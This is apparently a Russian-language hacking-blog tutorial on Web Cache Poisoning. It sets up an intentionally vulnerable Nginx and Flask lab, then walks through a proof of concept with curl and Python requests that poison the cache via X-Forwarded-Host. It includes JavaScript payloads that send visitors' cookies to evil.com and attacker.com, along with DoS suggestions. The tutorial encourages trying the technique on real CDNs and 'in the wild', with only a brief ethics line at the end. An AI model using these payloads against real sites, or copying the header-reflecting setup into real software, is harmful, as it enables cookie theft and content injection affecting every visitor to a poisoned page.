59
Йо, эксплойтер! Если ты любишь играть с вебом на уровне, где один хитрый заголовок может сломать весь сайт, то Web Cache Poisoning — твой новый фаворит. Это техника, когда ты отравляешь кэш сервера (CDN, прокси или веб-сервера), подменяя контент для всех пользователей. Представь: ты внедряешь вредоносный JS в кэшированную страницу, и каждый посетитель получает твой код — идеально для DoS (заливка мусором) или кражи данных (куки, формы). Сегодня мы разберём, как манипулировать HTTP-заголовками, настроим тестовое окружение на Nginx и запустим PoC для внедрения злого скрипта. Всё с кодом, шагами и лайфхаками — держись, будет жарко! 🔥
Что Такое Web Cache Poisoning и Почему Это Огонь?
Web Cache Poisoning (WCP) — это когда ты обманываешь кэш, заставляя его сохранить “отравленный” ответ вместо нормального. Кэш работает на основе ключей (URL + заголовки вроде Host или User-Agent), и если сервер не валидирует их правильно, ты можешь подменить контент.
Почему работает? Многие кэши (Varnish, Cloudflare, даже Nginx) используют заголовки вроде X-Forwarded-Host
для маршрутизации, но забывают санитизировать. Один плохой запрос — и отравление на часы или дни.
Лайфхак: Всегда сканируй цели на заголовки вроде Cache-Control: max-age=3600
в ответах. Если кэш активен, тестируй на poisoning.
Манипуляция HTTP-Заголовками: Как Подменять Контент
Ключ — в невалидированных заголовках. Сервер может кэшировать ответы на основе:
Host
или X-Forwarded-Host
: Подмени, чтобы сервер подумал, что запрос для другого домена.X-Forwarded-For
, User-Agent
: Для вариаций кэша.Cache-Control
: Игнорируй, чтобы форсировать кэширование.Пример сценария: Приложение отражает X-Forwarded-Host
в ответе (например, в ссылках или скриптах). Ты подменяешь его на evil.com
, и кэш сохраняет страницу с твоим доменом. Следующий юзер видит твой контент.
Шаг 1: Найди уязвимость. Используй Burp Suite или curl: curl -H "X-Forwarded-Host: evil.com" https://target.com/page
— проверь, отразился ли в ответе.
Шаг 2: Отравь кэш. Добавь параметры, которые кэш учитывает (например, query string), но сервер игнорирует.
Шаг 3: Проверь. Отправь нормальный запрос — если вернулся отравленный контент, bingo!
Для DoS: Отравь популярные страницы ошибками, чтобы кэш раздавал 500-ки всем.
Для кражи: Внедри <script>fetch('https://evil.com/steal?data='+document.cookie)</script>
в отравленный ответ.
Лайфхак: Настройка Тестового Окружения с Nginx
Давай соберём песочницу, чтобы потренироваться. Nginx — идеальный для симуляции, потому что он легко конфигурируется как reverse proxy с кэшем.
Шаг 1: Установи Nginx (на Ubuntu: sudo apt install nginx
).
Шаг 2: Создай конфиг /etc/nginx/sites-available/poison-test
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
http { proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=60m use_temp_path=off; upstream backend { server localhost:8000; # Твой бэкенд (например, простой Python сервер) } server { listen 80; server_name test.local; location / { proxy_pass http://backend; proxy_cache my_cache; proxy_cache_key "$scheme$proxy_host$uri$is_args$args"; # Уязвимый ключ — включает host proxy_set_header Host $host; proxy_set_header X-Forwarded-Host $http_x_forwarded_host; # Здесь уязвимость! proxy_cache_valid 200 1h; # Кэшируем на час } } } |
Шаг 3: Запусти простой бэкенд (Python Flask):
1 2 3 4 5 6 7 8 9 10 11 |
from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): host = request.headers.get('X-Forwarded-Host', 'default.com') return f"<html><body>Hello from {host}!<script src='//{host}/script.js'></script></body></html>" if __name__ == '__main__': app.run(port=8000) |
Шаг 4: Перезапусти Nginx: sudo nginx -s reload
. Теперь http://test.local/
отражает X-Forwarded-Host
в HTML — идеально для poisoning.
Лайфхак: Добавь proxy_ignore_headers Cache-Control;
в конфиг, чтобы игнорировать анти-кэш заголовки и сделать poisoning проще.
Практический PoC: Внедрение Вредоносного JavaScript
Теперь хардкор: Эксплуатируем наше окружение, чтобы отравить кэш и внедрить JS для кражи куки.
Шаг 1: Отправь отравляющий запрос (используй curl или Python):
1 |
curl -H "X-Forwarded-Host: evil.com" http://test.local/?poison=1 |
Это заставит бэкенд сгенерировать HTML с <script src='//evil.com/script.js'></script>
, и Nginx закэширует его по ключу (включая query, если настроено).
В Python для автоматизации:
1 2 3 4 5 6 7 |
import requests target = "http://test.local/?poison=1" headers = {"X-Forwarded-Host": "evil.com"} response = requests.get(target, headers=headers) print("Poisoned:", response.text) # Проверь отравленный ответ |
Шаг 2: Подтверди отравление. Отправь нормальный запрос: curl http://test.local/?poison=1
— должен вернуться отравленный HTML с evil.com.
Шаг 3: Внедри JS. На evil.com настрой сервер с /script.js:
1 2 3 |
// Вредоносный JS fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); alert('Pwned!'); // Для теста |
Теперь любой юзер, загрузивший отравленную страницу, выполнит твой скрипт — куки улетают к тебе. Для DoS: Подмени на бесконечный редирект или огромный файл.
Лайфхак: Чтобы усилить, используй unkeyed заголовки (те, что не в cache key) — они позволяют отравлять без изменения URL. Тестируй на реальных CDN вроде Cloudflare: ищи отражения в CSS/JS импортах.
Заключение: Становись Отравителем Кэша
Web Cache Poisoning — это искусство, где один заголовок меняет игру. Мы разобрали механику, настроили Nginx для тестов и запустили PoC для JS-инъекции. Теперь твоя очередь: разверни это на VM, поэкспериментируй с другими заголовками вроде X-Original-URL
и поищи уязвимости в wild. Помни, это для этичного хакинга — фиксай баги, не ломай мир.